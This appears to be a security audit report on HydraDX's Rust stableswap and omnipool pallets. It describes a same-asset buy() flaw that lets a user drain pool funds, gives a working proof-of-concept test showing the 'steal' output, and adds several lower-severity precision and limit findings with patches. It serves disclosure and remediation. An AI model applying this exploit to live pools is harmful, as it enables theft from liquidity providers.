HydraDX - bin2chen's results

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787

Vulnerability details

Vulnerability details

We can use the Stableswap.buy() function to purchase another token. First, we specify the amount_out, and then we calculate the corresponding amount_in. The calculation for amount_in is as follows: we keep D unchanged, calculate the new y using the calculate_y_given_out() method, and then subtract the old y to obtain the difference, which represents amount_in.

For example, let's assume the following initial reserves:

reserves = [
    usdc = 200
    usdt = 220
]

If you want to buy 50 usdc, how do calculate the required amount of usdt?

Calculation steps:

1. Calculate D based on the old reserves.
2. Generate a new array:

   xp = [
       usdc = 200 - 50 = 150 (reduce, remaining out after purchase)
       usdt = 0              (clear, not included the asset_in)
   ]
   

3. Calculate new_usdt using calculate_y_internal(xp, D). Assuming new_usdt = 270.
4. Calculate amount_out = new_usdt - old_usdt = 270 - 220 = 50.

However, due to the lack of restrictions on asset_in != asset_out if a user specifies asset_in == asset_out == usdc

(i.e., the user wants to buy 50 usdc), how much usdc do they need to provide?

Execution steps:

1. Calculate D based on the old reserves.
2. Generate a new array:

   xp = [
       usdc = 0   (clear, not included the asset_in)
       usdt = 220 (unchanged, as it's neither asset_in nor asset_out)
   ]
   

3. Calculate new_usdc using calculate_y_internal(xp, D). Since usdt remains unchanged, we can approximate it to the old value (e.g., new_usdc = 200.01).
4. Calculate amount_out as new_usdc - old_usdc = 200.01 - 200 = 0.01.

This results in the user needing to provide only 0.01 usdc to obtain 50 usdc.

pub(crate) fn calculate_y_given_out<const D: u8, const Y: u8>(
	amount: Balance,
	idx_in: usize,
	idx_out: usize,
	reserves: &[Balance],
	amplification: Balance,
) -> Option<Balance> {
	if idx_in >= reserves.len() || idx_out >= reserves.len() {
		return None;
	}
	let new_reserve_out = reserves[idx_out].checked_sub(amount)?;

	let d = calculate_d_internal::<D>(reserves, amplification)?;
	let xp: Vec<Balance> = reserves
		.iter()
		.enumerate()
@>              .filter(|(idx, _)| *idx != idx_in)       //@audit clear, not included the asset_in
@>     	        .map(|(idx, v)| if idx == idx_out { new_reserve_out } else { *v })  //@audit  reduce, remaining out after purchase
		.collect();

	calculate_y_internal::<Y>(&xp, d, amplification)
}

note： that the sell() function also faces a similar issue, but instead of stealing, it results in losing funds.

Impact

Users can exploit the system by specifying asset_in == asset_out, effectively stealing funds.

Proof of Concept

The following code demonstrates the scenario mentioned above, where a user specifies the same asset_in and asset_out.

add to tests/trades.rs

#[test]
fn buy_same() {
	let _ = env_logger::try_init();
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;
	ExtBuilder::default()
		.with_endowed_accounts(vec![(BOB, 1, 200 * ONE), (ALICE, 1, 200 * ONE), (ALICE, 2, 200 * ONE)])
		.with_registered_asset("one".as_bytes().to_vec(), 1, 12)
		.with_registered_asset("two".as_bytes().to_vec(), 2, 12)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(100).unwrap(),
				final_amplification: NonZeroU16::new(100).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_percent(0),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 100 * ONE),
					AssetAmount::new(asset_b, 100 * ONE),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);
			let bob_before_assert_a = Tokens::free_balance(asset_a, &BOB);
			let bob_before_assert_b = Tokens::free_balance(asset_b, &BOB);

			println!("before => a: {} , b: {}", bob_before_assert_a,bob_before_assert_b);

			assert_ok!(Stableswap::buy(
				RuntimeOrigin::signed(BOB),
				pool_id,
				asset_a,  //------> same
				asset_a,  //------> same
				30 * ONE,
				1 * ONE,
			));
			let bob_after_assert_a = Tokens::free_balance(asset_a, &BOB);
			let bob_after_assert_b = Tokens::free_balance(asset_b, &BOB);

			println!("after => a: {} , b: {}", bob_after_assert_a,bob_after_assert_b);
			println!("steal => a: {} , b: {}", bob_after_assert_a - bob_before_assert_a ,bob_after_assert_b - bob_before_assert_b);
		});
}

$  cargo test buy_same -p pallet-stableswap -- --nocapture

running 1 test
before => a: 200000000000000 , b: 0
after => a: 229999999999998 , b: 0
steal => a: 29999999999998 , b: 0
test tests::trades::buy_same ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 95 filtered out; finished in 0.01s

Recommended Mitigation

		pub fn buy(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			asset_out: T::AssetId,
			asset_in: T::AssetId,
			amount_out: Balance,
			max_sell_amount: Balance,
		) -> DispatchResult {
			let who = ensure_signed(origin)?;

+			ensure!(asset_in != asset_out, Error::<T>::SameAssetTradeNotAllowed);

		pub fn sell(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			asset_in: T::AssetId,
			asset_out: T::AssetId,
			amount_in: Balance,
			min_buy_amount: Balance,
		) -> DispatchResult {
			let who = ensure_signed(origin)?;

+			ensure!(asset_in != asset_out, Error::<T>::SameAssetTradeNotAllowed);

Assessed type

Error

Findings Summary

[L-01] Precision Loss in Calculating delta_hub_reserve in calculate_add_liquidity_state_changes()

In the function calculate_add_liquidity_state_changes(), the current calculation for delta_hub_reserve is as follows:

let delta_hub_reserve = asset_state.price()?.checked_mul_int(amount)?;

After conversion, this is equivalent to:

delta_hub_reserve = (total_hub_reserve * 1e18 / total_reserve) * amount / 1e18

However, there is a precision loss issue in the expression (total_hub_reserve * 1e18 / total_reserve).

recommend avoiding dividing total_reserve first and then multiplying by amount. Instead, use the following formula:

delta_hub_reserve = amount * total_hub_reserve / total_reserve

This approach is similar to the algorithm used for delta_shares_hp.

pub fn calculate_add_liquidity_state_changes(
	asset_state: &AssetReserveState<Balance>,
	amount: Balance,
	imbalance: I129<Balance>,
	total_hub_reserve: Balance,
) -> Option<LiquidityStateChange<Balance>> {
-	let delta_hub_reserve = asset_state.price()?.checked_mul_int(amount)?;

-	let (amount_hp, shares_hp, reserve_hp) = to_u256!(amount, asset_state.shares, asset_state.reserve);
+	let (amount_hp, shares_hp, reserve_hp,hub_reserve_hp) = to_u256!(amount, asset_state.shares, asset_state.reserve,asset_state.hub_reserve);

+       let delta_hub_reserve = hub_reserve_hp
+		.checked_mul(amount_hp)
+		.and_then(|v| v.checked_div(reserve_hp))?; 

	let delta_shares_hp = shares_hp
		.checked_mul(amount_hp)
		.and_then(|v| v.checked_div(reserve_hp))?; //@info round down is right

	let delta_imbalance = calculate_delta_imbalance(delta_hub_reserve, imbalance, total_hub_reserve)?;

	let delta_shares = to_balance!(delta_shares_hp).ok()?;

[L-02] calculate_add_one_asset() The returned fee was calculated incorrectly

in calculate_add_one_asset() The calculated position is as follows：

| ____________________ | ____________________ | ____________________| y1　　　　　　　　　　y　　　　　　reserves[asset_index]　　　　　asset_reserve

Correct should be： amount_in = y1 - asset_reserve dy_0 = y - reserves[asset_index] 　　　　　(The current implementation code is：dy_0 = y-asset_reserve） fee = amount_in - dy_0

Suggested modification:

pub fn calculate_add_one_asset<const D: u8, const Y: u8>(
	reserves: &[AssetReserve],
	shares: Balance,
	asset_index: usize,
	share_asset_issuance: Balance,
	amplification: Balance,
	fee: Permill,
) -> Option<(Balance, Balance)> {
...


	let y1 = calculate_y_internal::<Y>(&reserves_reduced, Balance::try_from(d1).ok()?, amplification)?;
	let dy = y1.checked_sub(asset_reserve)?;
-      let dy_0 = y.checked_sub(asset_reserve)?;
+      let dy_0 = y.checked_sub(reserves[asset_index])?;
	let fee = dy.checked_sub(dy_0)?;
	let amount_in = normalize_value(dy, TARGET_PRECISION, asset_in_decimals, Rounding::Up);
	let fee = normalize_value(fee, TARGET_PRECISION, asset_in_decimals, Rounding::Down);
	Some((amount_in, fee))
}

[L-03] calculate_out_given_in() Incorrect Rounding Direction for amount_in

In the function calculate_out_given_in(), when converting amount_in to TARGET_PRECISION, it currently uses Rounding::Up. However, the resulting value is used for calculating amount_out. Therefore, it is more advantageous for the protocol to use Rounding::Down for amount_in.

Recommendation:

pub fn calculate_out_given_in<const D: u8, const Y: u8>(
	initial_reserves: &[AssetReserve],
	idx_in: usize,
	idx_out: usize,
	amount_in: Balance,
	amplification: Balance,
) -> Option<Balance> {
	if idx_in >= initial_reserves.len() || idx_out >= initial_reserves.len() {
		return None;
	}
	let reserves = normalize_reserves(initial_reserves);
	let amount_in = normalize_value(
		amount_in,
		initial_reserves[idx_in].decimals,
		TARGET_PRECISION,
-		Rounding::Up,
+		Rounding::Down,
	);
	let new_reserve_out = calculate_y_given_in::<D, Y>(amount_in, idx_in, idx_out, &reserves, amplification)?;
	let amount_out = reserves[idx_out].checked_sub(new_reserve_out)?;
	let amount_out = normalize_value(
		amount_out,
		TARGET_PRECISION,
		initial_reserves[idx_out].decimals,
		Rounding::Down,
	);
	Some(amount_out.saturating_sub(1u128))
}

[L-04] Stableswap::add_liquidity() Lacks Slippage Protection min_mint_amount

The add_liquidity() function can result in liquidity amounts different from what users expect due to slippage. To mitigate this, it is advisable to introduce a minimum mint amount (min_mint_amount).

		pub fn add_liquidity(
			origin: OriginFor<T>,
			pool_id: T::AssetId,
			assets: Vec<AssetAmount<T::AssetId>>,
+                      min_mint_amount: Balance,
		) -> DispatchResult {

[L-05] Insufficient Iterations for MAX_Y_ITERATIONS / MAX_D_ITERATIONS

For calculating Y and D, both currently use Newton's formula. recommend adjusting the iteration count to be similar to Curve's 255 iterations, which would yield more accurate results:

-pub const MAX_Y_ITERATIONS: u8 = 128;
-pub const MAX_D_ITERATIONS: u8 = 64;

+pub const MAX_Y_ITERATIONS: u8 = 255;
+pub const MAX_D_ITERATIONS: u8 = 255;

[L-06] Unreasonable Restriction in calculate_add_one_asset()

The limitation that shares < share_asset_issuance is not logical. Users should be able to increase shares beyond share_asset_issuance. Typically, this restriction is used in remove_liquidity(). I recommend removing this constraint.

pub fn calculate_add_one_asset<const D: u8, const Y: u8>(
	reserves: &[AssetReserve],
	shares: Balance,
	asset_index: usize,
	share_asset_issuance: Balance,
	amplification: Balance,
	fee: Permill,
) -> Option<(Balance, Balance)> {
	if share_asset_issuance.is_zero() {
		return None;
	}
	if asset_index >= reserves.len() {
		return None;
	}

-	if shares > share_asset_issuance {
-		return None;
-	}

[L-07] remove_liquidity() Missing Restriction: MinimumPoolLiquidity

The remove_liquidity() function lacks a restriction to prevent the amount reduced after removal from being less than the MinimumPoolLiquidity.

recommend adding this restriction.

		pub fn remove_liquidity(
			origin: OriginFor<T>,
			position_id: T::PositionItemId,
			amount: Balance,
		) -> DispatchResult {

...
			} else {
				Self::deposit_event(Event::PositionUpdated {
					position_id,
					owner: who.clone(),
					asset: asset_id,
					amount: updated_position.amount,
					shares: updated_position.shares,
					price: updated_position
						.price_from_rational()
						.ok_or(ArithmeticError::DivisionByZero)?,
				});

				<Positions<T>>::insert(position_id, updated_position);

+                                 ensure!(
+                                      updated_position.amount >= T::MinimumPoolLiquidity::get(),
+                                      Error::<T>::MissingBalance
+                                  );
			}

[L-08] omnipool.remove_liquidity() Missing get_price_weight()

suggest adding the get_price_weight() function to omnipool.remove_liquidity().

		#[pallet::call_index(3)]
-		#[pallet::weight(<T as Config>::WeightInfo::remove_liquidity().saturating_add(T::OmnipoolHooks::on_liquidity_changed_weight()))]
+		#[pallet::weight(<T as Config>::WeightInfo::remove_liquidity().saturating_add(T::OmnipoolHooks::on_liquidity_changed_weight())).saturating_add(T::ExternalPriceOracle::get_price_weight())]
		#[transactional]
		pub fn remove_liquidity(
			origin: OriginFor<T>,
			position_id: T::PositionItemId,
			amount: Balance,
		) -> DispatchResult {